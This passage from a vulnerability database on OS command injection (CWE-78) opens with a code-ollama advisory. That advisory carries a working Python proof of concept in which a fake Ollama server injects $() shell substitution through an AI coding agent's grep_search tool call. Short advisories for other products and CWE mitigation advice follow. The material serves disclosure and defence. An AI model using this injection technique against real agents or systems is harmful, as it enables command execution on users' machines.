\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race\nRUN mkdir -p /root/.code-ollama /workspace\n\nCOPY vuln-001/poc.py /poc.py\n\nWORKDIR /workspace\nCMD [\"python3\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof of Concept: VULN-001 \u2014 grep_search Command Injection (CWE-78)\nRepository : ai-action/code-ollama v0.36.0\nSink       : src/utils/tools/filesystem/grep.ts:65\n             execShell(`rg ... \"${escapedPattern}\" \"${escapedDirPath}\"`)\nAttack path: malicious Ollama server -\u003e tool_call.arguments.pattern\n             -\u003e grepSearch() -\u003e execShell() -\u003e child_process.exec()\n\nOnly `\\\\` and `\"` are escaped; `$()` command substitution is NOT neutralized.\nThis PoC demonstrates that a rogue Ollama server can inject arbitrary shell\ncommands that execute as the local user running code-ollama.\n\nUsage (inside Docker, called automatically by CMD):\n    python3 /poc.py\n\nExpected outcome:\n    /tmp/poc-evidence is created with content matching INJECTED_CMD output.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport threading\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nFAKE_SERVER_HOST = \"127.0.0.1\"\nFAKE_SERVER_PORT = 11434\n\n# The marker file written by the injected command \u2014 used as exploitation proof\nMARKER_FILE = \"/tmp/poc-evidence\"\n\n# Payload: $() command substitution that is NOT escaped by code-ollama\u0027s\n# sanitization (only \\\\ and \" are escaped, leaving $() intact).\n# Writes output of `id` to MARKER_FILE to capture the running UID/GID.\nINJECTED_CMD = f\"$(id\u003e{MARKER_FILE})\"\n\n# Path argument for grep_search (must be a valid non-empty string)\nTARGET_PATH = \"/workspace\"\n\n# Tracks how many POST requests the fake server has received\n_request_count = 0\n_request_lock = threading.Lock()\n\n# ---------------------------------------------------------------------------\n# Fake Ollama HTTP server\n# ---------------------------------------------------------------------------\n\nclass FakeOllamaHandler(BaseHTTPRequestHandler):\n    \"\"\"Minimal Ollama-compatible HTTP server for the PoC.\n\n    First POST /api/chat  -\u003e returns a grep_search tool_call carrying the\n                             injected pattern.\n    Subsequent POSTs      -\u003e return a plain done response to terminate the\n                             code-ollama tool-loop.\n    \"\"\"\n\n    def log_message(self, fmt, *args):  # suppress default request logging\n        pass\n\n    # ------------------------------------------------------------------\n    # GET \u2014 health-check (code-ollama / ollama-npm may call GET /)\n    # ------------------------------------------------------------------\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.end_headers()\n        self.wfile.write(b\"Ollama is running\")\n\n    # ------------------------------------------------------------------\n    # POST \u2014 chat streaming endpoint\n    # ------------------------------------------------------------------\n    def do_POST(self):\n        global _request_count\n\n        # Consume request body to avoid broken-pipe on the client side\n        content_length = int(self.headers.get(\"Content-Length\", 0))\n        _ = self.rfile.read(content_length)\n\n        with _request_lock:\n            _request_count += 1\n            current_request = _request_count\n\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/x-ndjson\")\n        self.end_headers()\n\n        if current_request == 1:\n            # ---------------------------------------------------------------\n            # First request: inject malicious grep_search tool call\n            # The `arguments` object is passed verbatim through the ollama-npm\n            # library and reaches grepSearch(pattern, path) in grep.ts.\n            # ---------------------------------------------------------------\n            print(f\"[fake-ollama] Request #{current_request}: \"\n                  f\"sending malicious grep_search tool_call\")\n            sys.stdout.flush()\n\n            chunk = {\n                \"model\": \"fake\",\n                \"message\": {\n                    \"role\": \"assistant\",\n                    \"content\": \"\",\n                    \"tool_calls\": [{\n                        \"function\": {\n                            \"name\": \"grep_search\",\n                            # pattern and path are the two required string args\n                            # validated by validateArgs() in dispatcher.ts\n                            \"arguments\": {\n                                \"pattern\": INJECTED_CMD,\n                                \"path\": TARGET_PATH,\n                            },\n                        }\n                    }],\n                },\n                \"done\": True,\n                \"done_reason\": \"stop\",\n            }\n        else:\n            # ---------------------------------------------------------------\n            # Subsequent requests: plain text to terminate the tool loop.\n            # No tool_calls -\u003e nextMessages stays null -\u003e processRunStream\n            # returns after checking hasUncalledToolIntent (no match on\n            # \"Done.\") so the CLI exits cleanly.\n            # ---------------------------------------------------------------\n            print(f\"[fake-ollama] Request #{current_request}: \"\n                  \"sending done/stop response\")\n            sys.stdout.flush()\n\n            chunk = {\n                \"model\": \"fake\",\n                \"message\": {\n                    \"role\": \"assistant\",\n                    \"content\": \"Done.\",\n                },\n                \"done\": True,\n                \"done_reason\": \"stop\",\n            }\n\n        self.wfile.write((json.dumps(chunk) + \"\\n\").encode())\n        self.wfile.flush()\n\n\ndef start_fake_server():\n    \"\"\"Start the fake Ollama server in a daemon thread.\"\"\"\n    server = HTTPServer((FAKE_SERVER_HOST, FAKE_SERVER_PORT), FakeOllamaHandler)\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n    return server\n\n\n# ---------------------------------------------------------------------------\n# Main orchestration\n# ---------------------------------------------------------------------------\n\ndef main():\n    print(\"=\" * 65)\n    print(\"VULN-001: grep_search Command Injection PoC (CWE-78)\")\n    print(\"Target : ai-action/code-ollama v0.36.0\")\n    print(\"Sink   : src/utils/tools/filesystem/grep.ts:65\")\n    print(\"=\" * 65)\n    print()\n    print(f\"[*] Payload  : {INJECTED_CMD}\")\n    print(f\"[*] Marker   : {MARKER_FILE}\")\n    print()\n\n    # Clean up any leftover marker from a previous run\n    if os.path.exists(MARKER_FILE):\n        os.unlink(MARKER_FILE)\n        print(f\"[*] Removed stale marker file: {MARKER_FILE}\")\n\n    # -----------------------------------------------------------------------\n    # 1. Start the fake Ollama server\n    # -----------------------------------------------------------------------\n    print(f\"[*] Starting fake Ollama server on \"\n          f\"{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT} ...\")\n    start_fake_server()\n    time.sleep(0.4)   # give the server socket time to bind\n\n    # -----------------------------------------------------------------------\n    # 2. Run code-ollama with OLLAMA_HOST pointing to the fake server\n    #    --trust skips the interactive directory-trust prompt (src/cli.ts:214)\n    # -----------------------------------------------------------------------\n    env = os.environ.copy()\n    env[\"OLLAMA_HOST\"] = f\"http://{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT}\"\n\n    # Use the compiled CLI bundle produced by `npm run build` in the Dockerfile\n    cmd = [\n        \"node\", \"/app/dist/cli.js\",\n        \"run\", \"--trust\", \"fake\", \"search the code\",\n    ]\n\n    print(f\"[*] Executing: {\u0027 \u0027.join(cmd)}\")\n    print(f\"[*] OLLAMA_HOST={env[\u0027OLLAMA_HOST\u0027]}\")\n    print()\n\n    try:\n        result = subprocess.run(\n            cmd,\n            env=env,\n            stdin=subprocess.DEVNULL,   # no TTY / interactive input needed\n            capture_output=True,\n            text=True,\n            timeout=60,\n            cwd=\"/workspace\",\n        )\n    except subprocess.TimeoutExpired:\n        print(\"[-] code-ollama subprocess timed out after 60 s\")\n        sys.exit(1)\n\n    print(\"--- code-ollama stdout ---\")\n    print(result.stdout[:3000] if result.stdout else \"(empty)\")\n    print(\"--- code-ollama stderr ---\")\n    print(result.stderr[:3000] if result.stderr else \"(empty)\")\n    print(f\"--- exit code: {result.returncode} ---\")\n    print()\n\n    # -----------------------------------------------------------------------\n    # 3. Verify exploitation: check for the marker file\n    # -----------------------------------------------------------------------\n    if os.path.exists(MARKER_FILE):\n        evidence = open(MARKER_FILE).read().strip()\n        print(\"[+] ============================================================\")\n        print(\"[+] EXPLOITATION CONFIRMED\")\n        print(\"[+] ============================================================\")\n        print(f\"[+] Marker file : {MARKER_FILE}\")\n        print(f\"[+] Contents    : {evidence!r}\")\n        print(\"[+] Explanation : The $() command substitution inside the\")\n        print(\"[+]   grep_search pattern was NOT escaped by code-ollama\u0027s\")\n        print(\"[+]   sanitizer (grep.ts:58-63 only strips \\\\ and \\\").\")\n        print(\"[+]   execShell() passed the raw string to child_process.exec()\")\n        print(\"[+]   which ran it through /bin/sh, executing the injected\")\n        print(\"[+]   command as the current user.\")\n        print(\"[+] ============================================================\")\n        sys.exit(0)\n    else:\n        print(\"[-] ============================================================\")\n        print(\"[-] EXPLOITATION FAILED\")\n        print(f\"[-] Expected marker file NOT found: {MARKER_FILE}\")\n        print(\"[-] Possible causes:\")\n        print(\"[-]   - ollama-npm parsed tool_call.arguments differently\")\n        print(\"[-]   - The pattern was sanitized before reaching execShell()\")\n        print(\"[-]   - ripgrep is not installed so the fallback path was taken\")\n        print(\"[-]   - The shell used does not support $() substitution\")\n        print(\"[-] ============================================================\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-456v-xq2p-r4cj",
  "modified": "2026-09-28T13:59:43Z",
  "published": "2026-09-28T13:59:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ai-action/code-ollama/security/advisories/GHSA-456v-xq2p-r4cj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ai-action/code-ollama"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "code-ollama: `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)"
}

GHSA-45HJ-J2C3-984F

Vulnerability from github – Published: 2025-06-26 21:31 – Updated: 2025-06-26 21:31

Details

A vulnerability was found in TOTOLINK CA300-PoE 6.2c.884. It has been declared as critical. Affected by this vulnerability is the function setUpgradeFW of the file upgrade.so. The manipulation of the argument FileName leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

Severity

6.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

2.1 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-6619"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-25T18:15:24Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in TOTOLINK CA300-PoE 6.2c.884. It has been declared as critical. Affected by this vulnerability is the function setUpgradeFW of the file upgrade.so. The manipulation of the argument FileName leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-45hj-j2c3-984f",
  "modified": "2025-06-26T21:31:14Z",
  "published": "2025-06-26T21:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6619"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wudipjq/my_vuln/blob/main/totolink4/vuln_45/45.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wudipjq/my_vuln/blob/main/totolink4/vuln_45/45.md#poc"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.313837"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.313837"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.602264"
    },
    {
      "type": "WEB",
      "url": "https://www.totolink.net"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-45MM-4H6G-JRC9

Vulnerability from github – Published: 2024-02-14 18:30 – Updated: 2024-02-14 18:30

Details

BIG-IP or BIG-IQ Resource Administrators and Certificate Managers who have access to the secure copy (scp) utility but do not have access to Advanced shell (bash) can execute arbitrary commands with a specially crafted command string. This vulnerability is due to an incomplete fix for CVE-2020-5873.

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated

Severity

6.7 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-21782"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-14T17:15:12Z",
    "severity": "MODERATE"
  },
  "details": "BIG-IP or BIG-IQ Resource Administrators and Certificate Managers who have access to the secure copy (scp) utility but do not have access to Advanced shell (bash) can execute arbitrary commands with a specially crafted command string. This vulnerability is due to an incomplete fix for CVE-2020-5873. \n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated",
  "id": "GHSA-45mm-4h6g-jrc9",
  "modified": "2024-02-14T18:30:25Z",
  "published": "2024-02-14T18:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21782"
    },
    {
      "type": "WEB",
      "url": "https://my.f5.com/manage/s/article/K98606833"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-45P5-79VM-8H38

Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2022-05-13 01:46

Details

Ruckus Wireless Zone Director Controller firmware releases ZD9.x, ZD10.0.0.x, ZD10.0.1.x (less than 10.0.1.0.17 MR1 release) and Ruckus Wireless Unleashed AP Firmware releases 200.0.x, 200.1.x, 200.2.x, 200.3.x, 200.4.x. contain OS Command Injection vulnerabilities that could allow local authenticated users to execute arbitrary privileged commands on the underlying operating system by appending those commands in the Common Name field in the Certificate Generation Request.

Severity

8.8 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2017-6224"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-10-13T17:29:00Z",
    "severity": "HIGH"
  },
  "details": "Ruckus Wireless Zone Director Controller firmware releases ZD9.x, ZD10.0.0.x, ZD10.0.1.x (less than 10.0.1.0.17 MR1 release) and Ruckus Wireless Unleashed AP Firmware releases 200.0.x, 200.1.x, 200.2.x, 200.3.x, 200.4.x. contain OS Command Injection vulnerabilities that could allow local authenticated users to execute arbitrary privileged commands on the underlying operating system by appending those commands in the Common Name field in the Certificate Generation Request.",
  "id": "GHSA-45p5-79vm-8h38",
  "modified": "2022-05-13T01:46:26Z",
  "published": "2022-05-13T01:46:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6224"
    },
    {
      "type": "WEB",
      "url": "https://ruckus-www.s3.amazonaws.com/pdf/security/faq-security-advisory-id-092917.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-45PR-7M45-FG5J

Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2022-05-13 01:42

Details

On Cisco DDR2200 ADSL2+ Residential Gateway DDR2200B-NA-AnnexA-FCC-V00.00.03.45.4E and DDR2201v1 ADSL2+ Residential Gateway DDR2201v1-NA-AnnexA-FCC-V00.00.03.28.3 devices, there is remote command execution via shell metacharacters in the pingAddr parameter to the waitPingqry.cgi URI. The command output is visible at /PingMsg.cmd.

Severity

9.8 (Critical)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2017-11588"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-07-24T00:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "On Cisco DDR2200 ADSL2+ Residential Gateway DDR2200B-NA-AnnexA-FCC-V00.00.03.45.4E and DDR2201v1 ADSL2+ Residential Gateway DDR2201v1-NA-AnnexA-FCC-V00.00.03.28.3 devices, there is remote command execution via shell metacharacters in the pingAddr parameter to the waitPingqry.cgi URI. The command output is visible at /PingMsg.cmd.",
  "id": "GHSA-45pr-7m45-fg5j",
  "modified": "2022-05-13T01:42:26Z",
  "published": "2022-05-13T01:42:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11588"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2017/Jul/26"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/99963"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-45R6-J3CC-6MXX

Vulnerability from github – Published: 2022-11-22 12:30 – Updated: 2023-08-08 11:29

Summary

OS Command Injection in Apache Airflow

Details

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Apache Airflow Spark Provider, Apache Airflow allows an attacker to read arbtrary files in the task execution context, without write access to DAG files. This issue affects Spark Provider versions prior to 4.0.0. It also impacts any Apache Airflow versions prior to 2.3.0 in case Spark Provider is installed (Spark Provider 4.0.0 can only be installed for Airflow 2.3.0+). Note that you need to manually install the Spark Provider version 4.0.0 in order to get rid of the vulnerability on top of Airflow 2.3.0+ version that has lower version of the Spark Provider installed).

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "apache-airflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-40954"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-22T19:17:33Z",
    "nvd_published_at": "2022-11-22T10:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) vulnerability in Apache Airflow Spark Provider, Apache Airflow allows an attacker to read arbtrary files in the task execution context, without write access to DAG files. This issue affects Spark Provider versions prior to 4.0.0. It also impacts any Apache Airflow versions prior to 2.3.0 in case Spark Provider is installed (Spark Provider 4.0.0 can only be installed for Airflow 2.3.0+). Note that you need to manually install the Spark Provider version 4.0.0 in order to get rid of the vulnerability on top of Airflow 2.3.0+ version that has lower version of the Spark Provider installed).",
  "id": "GHSA-45r6-j3cc-6mxx",
  "modified": "2023-08-08T11:29:39Z",
  "published": "2022-11-22T12:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40954"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/airflow/pull/27646"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/airflow"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/0tmdlnmjs5t4gsx5fy73tb6zd3jztq45"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OS Command Injection in Apache Airflow"
}

GHSA-45RQ-HJM9-CGVX

Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2022-05-13 01:34

Details

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Tencent Foxmail 7.2.9.115. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the processing of URI handlers. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code under the context of the current process. Was ZDI-CAN-5543.

Severity

8.8 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2018-11616"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-30T12:29:00Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Tencent Foxmail 7.2.9.115. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the processing of URI handlers. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code under the context of the current process. Was ZDI-CAN-5543.",
  "id": "GHSA-45rq-hjm9-cgvx",
  "modified": "2022-05-13T01:34:49Z",
  "published": "2022-05-13T01:34:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11616"
    },
    {
      "type": "WEB",
      "url": "https://zerodayinitiative.com/advisories/ZDI-18-584"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-45V6-M9R2-HC3M

Vulnerability from github – Published: 2022-05-17 05:42 – Updated: 2022-05-17 05:42

Details

The CGI implementation on Cisco TelePresence endpoint devices with software 1.2.x through 1.5.x allows remote authenticated users to execute arbitrary commands via a malformed request, related to "command injection vulnerabilities," aka Bug ID CSCtb31659.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2011-0374"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-02-25T12:00:00Z",
    "severity": "HIGH"
  },
  "details": "The CGI implementation on Cisco TelePresence endpoint devices with software 1.2.x through 1.5.x allows remote authenticated users to execute arbitrary commands via a malformed request, related to \"command injection vulnerabilities,\" aka Bug ID CSCtb31659.",
  "id": "GHSA-45v6-m9r2-hc3m",
  "modified": "2022-05-17T05:42:24Z",
  "published": "2022-05-17T05:42:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-0374"
    },
    {
      "type": "WEB",
      "url": "http://www.cisco.com/en/US/products/products_security_advisory09186a0080b6e152.shtml"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1025112"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation

Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Mitigation MIT-22

Architecture and Design Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.

Mitigation

Architecture and Design

Strategy: Attack Surface Reduction

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Mitigation MIT-15

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-4.3

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Mitigation MIT-28

Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Mitigation

Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Mitigation MIT-27

Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.

Mitigation MIT-5

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Mitigation MIT-21

Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-32

Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32

Operation

Strategy: Environment Hardening

Mitigation MIT-39

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

Mitigation

Operation

Strategy: Sandbox or Jail

Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.

Mitigation MIT-29

Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17

Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-16

Operation Implementation

Strategy: Environment Hardening

